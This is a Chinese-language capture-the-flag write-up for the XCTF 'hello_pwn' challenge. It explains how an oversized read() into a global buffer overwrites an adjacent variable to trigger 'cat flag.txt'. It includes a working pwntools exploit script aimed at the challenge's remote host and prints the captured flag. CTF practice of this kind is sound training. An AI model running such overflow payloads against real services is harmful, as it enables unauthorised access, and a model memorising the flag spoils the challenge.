【攻防世界】hello_pwn
收获
基础的栈溢出漏洞
熟悉 exp 的编写
思路
查看文件信息:
64位 小端序,只开启了栈保护,没有金丝雀
尝试执行:
在 IDA 中分析:
通过 read()
从命令行向 unk_601068
的地址处写入 0x10 个值,如果 dword_60106C == 1853186401
,就执行 sub_400686()
函数,跟进:
sub_400686()
函数直接 cat flag.txt
因此,只需要将 dword_60106C
的值设置为 1853186401 就可以得到 flag
查看 dword_60106C
存放的位置:
可以看到 read()
输入的值存放在 unk_601068
的地方就在 dword_60106C
的上方
而 read()
输入的长度为 0x10,因此只需在输入 unk_601068
时溢出修改 dword_60106C
的值即可
脚本
from pwn import *
context(os = 'linux',arch = 'amd64' ,log_level = 'debug') # 打印调试信息
content = 0 # 本地Pwn通之后,将content改成0,Pwn远程端口
def main():
if content == 1:
io = process("./hello_pwn") # 程序在kali的路径
else:
io = remote("61.147.171.105", 58615) # 题目的远程端口
payload = b'a' * (0x60106C - 0x601068) + p64(1853186401)
io.recvuntil("lets get helloworld for bof\n")
io.sendline(payload)
io.interactive()
main()
结果
cyberpeace{ff873b571a60849c4df0f263789a392c}
执行了 cat: flag.txt: 没有那个文件或目录
,说明本地已经 PWN 通
将 comtent 改为 0:
获得 flag
评论